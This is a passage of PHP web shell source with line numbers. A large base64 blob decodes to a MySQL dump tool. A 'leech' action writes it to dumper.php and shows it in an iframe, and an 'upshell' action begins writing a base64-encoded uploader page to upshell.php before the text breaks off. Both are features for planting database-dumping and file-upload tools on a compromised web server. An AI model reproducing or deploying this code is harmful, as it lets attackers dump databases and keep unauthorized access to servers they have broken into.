AgICAgICByZXR1cm4gZnJlYWQoJGZwLCA0MDk2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3JlYWRfc3RyKCRmcCl7CiAgICAgICAgICAgICAgICAkc3RyaW5nID0gJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IGx0cmltKCR0aGlzLT5maWxlX2NhY2hlKTsKICAgICAgICAgICAgICAgICRwb3MgPSBzdHJwb3MoJHRoaXMtPmZpbGVfY2FjaGUsICJcbiIsIDApOwogICAgICAgICAgICAgICAgaWYgKCRwb3MgPCAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghJHN0cmluZyAmJiAoJHN0ciA9ICR0aGlzLT5mbl9yZWFkKCRmcCkpKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCAiXG4iLCAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRwb3MgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSAuPSAkc3RyOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICR0aGlzLT5maWxlX2NhY2hlIC4gc3Vic3RyKCRzdHIsIDAsICRwb3MgKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkc3RyLCAkcG9zICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkc3RyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZpbGVfY2FjaGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSAkdGhpcy0+ZmlsZV9jYWNoZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5maWxlX2NhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cmltKCRzdHJpbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBzdWJzdHIoJHRoaXMtPmZpbGVfY2FjaGUsIDAsICRwb3MpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkdGhpcy0+ZmlsZV9jYWNoZSwgJHBvcyArIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIHRyaW0oJHN0cmluZyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9jbG9zZSgkZnApewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6Y2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3pjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY2htb2QoUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgMDY2Nik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5faW5kZXgoKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NlbGVjdCgkaXRlbXMsICRzZWxlY3RlZCl7CiAgICAgICAgICAgICAgICAkc2VsZWN0ID0gJyc7CiAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtcyBBUyAka2V5ID0+ICR2YWx1ZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRzZWxlY3QgLj0gJGtleSA9PSAkc2VsZWN0ZWQgPyAiPE9QVElPTiBWQUxVRT0neyRrZXl9JyBTRUxFQ1RFRD57JHZhbHVlfSIgOiAiPE9QVElPTiBWQUxVRT0neyRrZXl9Jz57JHZhbHVlfSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHNlbGVjdDsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NhdmUoKXsKICAgICAgICAgICAgICAgIGlmIChTQykgewogICAgICAgICAgICAgICAgICAgICAgICAkbmUgPSAhZmlsZV9leGlzdHMoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAid2IiKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICI8P3BocFxuXCR0aGlzLT5TRVQgPSAiIC4gZm5fYXJyMnN0cigkdGhpcy0+U0VUKSAuICJcbj8+Iik7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuZSkgQGNobW9kKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAwNjY2KTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZuX2luZGV4KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9pbmRleCgpewogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhQQVRIIC4gJ2luZGV4Lmh0bWwnKSkgewogICAgICAgICAgICAgICAgICAgICRmaCA9IGZvcGVuKFBBVEggLiAnaW5kZXguaHRtbCcsICd3YicpOwogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZoLCB0cGxfYmFja3VwX2luZGV4KCkpOwogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZoKTsKICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKFBBVEggLiAnaW5kZXguaHRtbCcsIDA2NjYpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KfQoKZnVuY3Rpb24gZm5faW50KCRudW0pewogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRudW0sIDAsICcsJywgJyAnKTsKfQoKZnVuY3Rpb24gZm5fYXJyMnN0cigkYXJyYXkpIHsKICAgICAgICAkc3RyID0gImFycmF5KFxuIjsKICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgLj0gIicka2V5JyA9PiAiIC4gZm5fYXJyMnN0cigkdmFsdWUpIC4gIixcblxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkc3RyIC49ICInJGtleScgPT4gJyIgLiBzdHJfcmVwbGFjZSgiJyIsICJcJyIsICR2YWx1ZSkgLiAiJyxcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkc3RyIC4gIikiOwp9CgovLyBUZW1wbGF0ZXMKCmZ1bmN0aW9uIHRwbF9wYWdlKCRjb250ZW50ID0gJycsICRidXR0b25zID0gJycpewpyZXR1cm4gPDw8SFRNTAo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIj4KPEhUTUw+CjxIRUFEPgo8VElUTEU+TXlzcWwgRHVtcGVyIDEuMC45IHwgJmNvcHk7IDIwMDYgemFwaW1pcjwvVElUTEU+CjxNRVRBIEhUVFAtRVFVSVY9Q29udGVudC1UeXBlIENPTlRFTlQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+CjxTVFlMRSBUWVBFPSJURVhUL0NTUyI+CjwhLS0KYm9keXsKICAgICAgICBvdmVyZmxvdzogYXV0bzsKfQp0ZCB7CiAgICAgICAgZm9udDogMTFweCB0YWhvbWEsIHZlcmRhbmEsIGFyaWFsOwogICAgICAgIGN1cnNvcjogZGVmYXVsdDsKfQppbnB1dCwgc2VsZWN0LCBkaXYgewogICAgICAgIGZvbnQ6IDExcHggdGFob21hLCB2ZXJkYW5hLCBhcmlhbDsKfQppbnB1dC50ZXh0LCBzZWxlY3QgewogICAgICAgIHdpZHRoOiAxMDAlOwp9CmZpZWxkc2V0IHsKICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Owp9Ci0tPgo8L1NUWUxFPgo8L0hFQUQ+Cgo8Qk9EWSBCR0NPTE9SPSNFQ0U5RDggVEVYVD0jMDAwMDAwPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTAgQUxJR049Q0VOVEVSPgo8VFI+CjxURCBIRUlHSFQ9NjAlIEFMSUdOPUNFTlRFUiBWQUxJR049TUlERExFPgo8VEFCTEUgV0lEVEg9MzYwIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9MD4KPFRSPgo8VEQgVkFMSUdOPVRPUCBTVFlMRT0iYm9yZGVyOiAxcHggc29saWQgIzkxOUI5QzsiPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0xIENFTExQQURESU5HPTA+CjxUUj4KPFREIElEPUhlYWRlciBIRUlHSFQ9MjAgQkdDT0xPUj0jN0E5NkRGIFNUWUxFPSJmb250LXNpemU6IDEzcHg7IGNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsOwpwYWRkaW5nLWxlZnQ6IDVweDsgRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTEsc3RhcnRDb2xvclN0cj0jN0E5NkRGLGVuZENvbG9yU3RyPSNGQkZCRkQpIgpUSVRMRT0nJmNvcHk7IDIwMDMtMjAwNiB6YXBpbWlyJz4KPEI+PEEgSFJFRj1odHRwOi8vc3lwZXgubmV0L3Byb2R1Y3RzL2R1bXBlci8gU1RZTEU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyI+TXlzcWwgRHVtcGVyIDEuMC45PC9BPjwvQj48SU1HIElEPUdTIFdJRFRIPTEgSEVJR0hUPTEgU1RZTEU9InZpc2liaWxpdHk6IGhpZGRlbjsiPjwvVEQ+CjwvVFI+CjxUUj4KPEZPUk0gTkFNRT1za2IgTUVUSE9EPVBPU1QgQUNUSU9OPWR1bXBlci5waHA+CjxURCBWQUxJR049VE9QIEJHQ09MT1I9I0Y0RjNFRSBTVFlMRT0iRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jRkNGQkZFLGVuZENvbG9yU3RyPSNGNEYzRUUpOyBwYWRkaW5nOiA4cHggOHB4OyI+CnskY29udGVudH0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBTVFlMRT0nY29sb3I6ICNDRUNFQ0UnIElEPXRpbWVyPjwvVEQ+CjxURCBBTElHTj1SSUdIVD57JGJ1dHRvbnN9PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L0ZPUk0+CjwvVFI+CjwvVEFCTEU+PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L1RSPgo8L1RBQkxFPgo8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0JPRFk+CjwvSFRNTD4KSFRNTDsKfQoKZnVuY3Rpb24gdHBsX21haW4oKXsKZ2xvYmFsICRTSzsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUIG9uQ2xpY2s9ImRvY3VtZW50LnNrYi5hY3Rpb25bMF0uY2hlY2tlZCA9IDE7Ij4KPExFR0VORD4KPElOUFVUIFRZUEU9cmFkaW8gTkFNRT1hY3Rpb24gVkFMVUU9YmFja3VwPgpCYWNrdXAgLyDQodC+0LfQtNCw0L3QuNC1INGA0LXQt9C10YDQstC90L7QuSDQutC+0L/QuNC4INCR0JQmbmJzcDs8L0xFR0VORD4KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBXSURUSD0zNSU+0JHQlDo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1kYl9iYWNrdXA+CnskU0stPnZhcnNbJ2RiX2JhY2t1cCddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8VFI+CjxURD7QpNC40LvRjNGC0YAg0YLQsNCx0LvQuNGGOjwvVEQ+CjxURD48SU5QVVQgTkFNRT10YWJsZXMgVFlQRT10ZXh0IENMQVNTPXRleHQgVkFMVUU9J3skU0stPnZhcnNbJ3RhYmxlcyddfSc+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0JzQtdGC0L7QtCDRgdC20LDRgtC40Y86PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1jb21wX21ldGhvZD4KeyRTSy0+dmFyc1snY29tcF9tZXRob2RzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREPtCh0YLQtdC/0LXQvdGMINGB0LbQsNGC0LjRjzo8L1REPgo8VEQ+PFNFTEVDVCBOQU1FPWNvbXBfbGV2ZWw+CnskU0stPnZhcnNbJ2NvbXBfbGV2ZWxzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CjxGSUVMRFNFVCBvbkNsaWNrPSJkb2N1bWVudC5za2IuYWN0aW9uWzFdLmNoZWNrZWQgPSAxOyI+CjxMRUdFTkQ+CjxJTlBVVCBUWVBFPXJhZGlvIE5BTUU9YWN0aW9uIFZBTFVFPXJlc3RvcmU+ClJlc3RvcmUgLyDQktC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC1INCR0JQg0LjQtyDRgNC10LfQtdGA0LLQvdC+0Lkg0LrQvtC/0LjQuCZuYnNwOzwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREPtCR0JQ6PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1kYl9yZXN0b3JlPgp7JFNLLT52YXJzWydkYl9yZXN0b3JlJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREIFdJRFRIPTM1JT7QpNCw0LnQuzo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1maWxlPgp7JFNLLT52YXJzWydmaWxlcyddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LnNrYi5hY3Rpb25beyRTSy0+U0VUWydsYXN0X2FjdGlvbiddfV0uY2hlY2tlZCA9IDE7CjwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3Byb2Nlc3MoJHRpdGxlKXsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUPgo8TEVHRU5EPnskdGl0bGV9Jm5ic3A7PC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPjxURCBDT0xTUEFOPTI+PERJViBJRD1sb2dhcmVhIFNUWUxFPSJ3aWR0aDogMTAwJTsgaGVpZ2h0OiAxNDBweDsgYm9yZGVyOiAxcHggc29saWQgIzdGOURCOTsgcGFkZGluZzogM3B4OyBvdmVyZmxvdzogYXV0bzsiPjwvRElWPjwvVEQ+PC9UUj4KPFRSPjxURCBXSURUSD0zMSU+0KHRgtCw0YLRg9GBINGC0LDQsdC70LjRhtGLOjwvVEQ+PFREIFdJRFRIPTY5JT48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMUEFERElORz0wIENFTExTUEFDSU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSM1NTU1Q0MgSUQ9c3RfdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0NDRkYsZW5kQ29sb3JTdHI9IzU1NTVDQyk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj4KPFRSPjxURD7QntCx0YnQuNC5INGB0YLQsNGC0YPRgTo8L1REPjxURD48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSMwMEFBMDAgSUQ9c29fdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0ZGQ0MsZW5kQ29sb3JTdHI9IzAwQUEwMCk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+CjwvVFI+PC9UQUJMRT48L1REPjwvVFI+PC9UQUJMRT4KPC9GSUVMRFNFVD4KPFNDUklQVD4KdmFyIFdpZHRoTG9ja2VkID0gZmFsc2U7CmZ1bmN0aW9uIHMoc3QsIHNvKXsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RfdGFiJykud2lkdGggPSBzdCA/IHN0ICsgJyUnIDogJzEnOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzb190YWInKS53aWR0aCA9IHNvID8gc28gKyAnJScgOiAnMSc7Cn0KZnVuY3Rpb24gbChzdHIsIGNvbG9yKXsKICAgICAgICBzd2l0Y2goY29sb3IpewogICAgICAgICAgICAgICAgY2FzZSAyOiBjb2xvciA9ICduYXZ5JzsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDM6IGNvbG9yID0gJ3JlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSA0OiBjb2xvciA9ICdtYXJvb24nOyBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6IGNvbG9yID0gJ2JsYWNrJzsKICAgICAgICB9CiAgICAgICAgd2l0aChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nYXJlYScpKXsKICAgICAgICAgICAgICAgIGlmICghV2lkdGhMb2NrZWQpewogICAgICAgICAgICAgICAgICAgICAgICBzdHlsZS53aWR0aCA9IGNsaWVudFdpZHRoOwogICAgICAgICAgICAgICAgICAgICAgICBXaWR0aExvY2tlZCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzdHIgPSAnPEZPTlQgQ09MT1I9JyArIGNvbG9yICsgJz4nICsgc3RyICsgJzwvRk9OVD4nOwogICAgICAgICAgICAgICAgaW5uZXJIVE1MICs9IGlubmVySFRNTCA/ICI8QlI+XFxuIiArIHN0ciA6IHN0cjsKICAgICAgICAgICAgICAgIHNjcm9sbFRvcCArPSAxNDsKICAgICAgICB9Cn0KPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9hdXRoKCRlcnJvcil7CnJldHVybiA8PDxIVE1MCjxTUEFOIElEPWVycm9yPgo8RklFTERTRVQ+CjxMRUdFTkQ+0J7RiNC40LHQutCwPC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPgo8VEQ+0JTQu9GPINGA0LDQsdC+0YLRiyBTeXBleCBEdW1wZXIgTGl0ZSDRgtGA0LXQsdGD0LXRgtGB0Y86PEJSPiAtIEludGVybmV0IEV4cGxvcmVyIDUuNSssIE1vemlsbGEg0LvQuNCx0L4gT3BlcmEgOCsgKDxTUEFOIElEPXNpZT4tPC9TUEFOPik8QlI+IC0g0LLQutC70Y7Rh9C10L3QviDQstGL0L/QvtC70L3QtdC90LjQtSBKYXZhU2NyaXB0INGB0LrRgNC40L/RgtC+0LIgKDxTUEFOIElEPXNqcz4tPC9TUEFOPik8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTUEFOIElEPWJvZHkgU1RZTEU9ImRpc3BsYXk6IG5vbmU7Ij4KeyRlcnJvcn0KPEZJRUxEU0VUPgo8TEVHRU5EPkVudGVyIGxvZ2luIGFuZCBwYXNzd29yZDwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIFdJRFRIPTQxJT7Qm9C+0LPQuNC9OjwvVEQ+CjxURCBXSURUSD01OSU+PElOUFVUIE5BTUU9bG9naW4gVFlQRT10ZXh0IENMQVNTPXRleHQ+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0J/QsNGA0L7Qu9GMOjwvVEQ+CjxURD48SU5QVVQgTkFNRT1wYXNzIFRZUEU9cGFzc3dvcmQgQ0xBU1M9dGV4dD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzanMnKS5pbm5lckhUTUwgPSAnKyc7CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdib2R5Jykuc3R5bGUuZGlzcGxheSA9ICcnOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3InKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwp2YXIganNFbmFibGVkID0gdHJ1ZTsKPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9sKCRzdHIsICRjb2xvciA9IENfREVGQVVMVCl7CiRzdHIgPSBwcmVnX3JlcGxhY2UoIi9cc3syfS8iLCAiICZuYnNwOyIsICRzdHIpOwpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmwoJ3skc3RyfScsICRjb2xvcik7PC9TQ1JJUFQ+CgpIVE1MOwp9CgpmdW5jdGlvbiB0cGxfZW5hYmxlQmFjaygpewpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3MoJHN0LCAkc28pewokc3QgPSByb3VuZCgkc3QgKiAxMDApOwokc3QgPSAkc3QgPiAxMDAgPyAxMDAgOiAkc3Q7CiRzbyA9IHJvdW5kKCRzbyAqIDEwMCk7CiRzbyA9ICRzbyA+IDEwMCA/IDEwMCA6ICRzbzsKcmV0dXJuIDw8PEhUTUwKPFNDUklQVD5zKHskc3R9LHskc299KTs8L1NDUklQVD4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9iYWNrdXBfaW5kZXgoKXsKcmV0dXJuIDw8PEhUTUwKPENFTlRFUj4KPEgxPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb25zIHRvIGxpc3QgdGhpcyBkaXI8L0gxPgo8L0NFTlRFUj4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9lcnJvcigkZXJyb3IpewpyZXR1cm4gPDw8SFRNTAo8RklFTERTRVQ+CjxMRUdFTkQ+RXJyb3IgY29ubmVjdCB0byBEQjwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIEFMSUdOPWNlbnRlcj57JGVycm9yfTwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CgpIVE1MOwp9CgpmdW5jdGlvbiBTWERfZXJyb3JIYW5kbGVyKCRlcnJubywgJGVycm1zZywgJGZpbGVuYW1lLCAkbGluZW51bSwgJHZhcnMpIHsKICAgICAgICBpZiAoJGVycm5vID09IDIwNDgpIHJldHVybiB0cnVlOwogICAgICAgIGlmIChwcmVnX21hdGNoKCIvY2htb2RcKFwpLio/OiBPcGVyYXRpb24gbm90IHBlcm1pdHRlZC8iLCAkZXJybXNnKSkgcmV0dXJuIHRydWU7CiAgICAkZHQgPSBkYXRlKCJZLm0uZCBIOmk6cyIpOwogICAgJGVycm1zZyA9IGFkZHNsYXNoZXMoJGVycm1zZyk7CgogICAgICAgIGVjaG8gdHBsX2woInskZHR9PEJSPjxCPkVycm9yIHdhcyBvY2N1cmVkITwvQj4iLCBDX0VSUk9SKTsKICAgICAgICBlY2hvIHRwbF9sKCJ7JGVycm1zZ30gKHskZXJybm99KSIsIENfRVJST1IpOwogICAgICAgIGVjaG8gdHBsX2VuYWJsZUJhY2soKTsKICAgICAgICBkaWUoKTsKfQo/Pgo=
1708';
1709$file = fopen("dumper.php" ,"w+");
1710$write = fwrite ($file ,base64_decode($perltoolss));
1711fclose($file);
1712 echo "<iframe src=dumper.php width=100% height=720px frameborder=0></iframe> ";
1713}//end leech
1714elseif ($action == 'upshell') {
1715$file = fopen($dir."upshell.php" ,"w+");
1716$perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+DQo8aHRtbD4NCjwhLS1JdHMgRmlyc3QgUHVibGljIFZlcnNpb24gDQoNCiAtLT4NCjwvaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD11dGYtOCc+DQo8dGl0bGU+OjogVXBzaGVsbCA6OiBET0lLSE9OR0xVWVBISUVOIDo6PC90aXRsZT4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQphIHsgDQp0ZXh0LWRlY29yYXRpb246bm9uZTsNCmNvbG9yOndoaXRlOw0KIH0NCjwvc3R5bGU+IA0KPHN0eWxlPg0KaW5wdXQgeyANCmNvbG9yOiMwMDAwMzU7IA0KZm9udDo4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7DQp9DQouRElSIHsgDQpjb2xvcjojMDAwMDM1OyANCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsNCmJhY2tncm91bmQtY29sb3I6I0FBMDAwMDsNCmJvcmRlci1zdHlsZTpub25lOw0KfQ0KLnR4dCB7IA0KY29sb3I6IzJBMDAwMDsgDQpmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsNCn0gDQpib2R5LCB0YWJsZSwgc2VsZWN0LCBvcHRpb24sIC5pbmZvDQp7DQpmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsNCn0NCmJvZHkgew0KCWJhY2tncm91bmQtY29sb3I6ICNFNUU1RTU7DQp9DQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0NCi50ZA0Kew0KYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsNCmJvcmRlci10b3A6IDBweDsNCmJvcmRlci1sZWZ0OiAwcHg7DQpib3JkZXItcmlnaHQ6IDBweDsNCn0NCi50ZFVQDQp7DQpib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Ow0KYm9yZGVyLXRvcDogMXB4Ow0KYm9yZGVyLWxlZnQ6IDBweDsNCmJvcmRlci1yaWdodD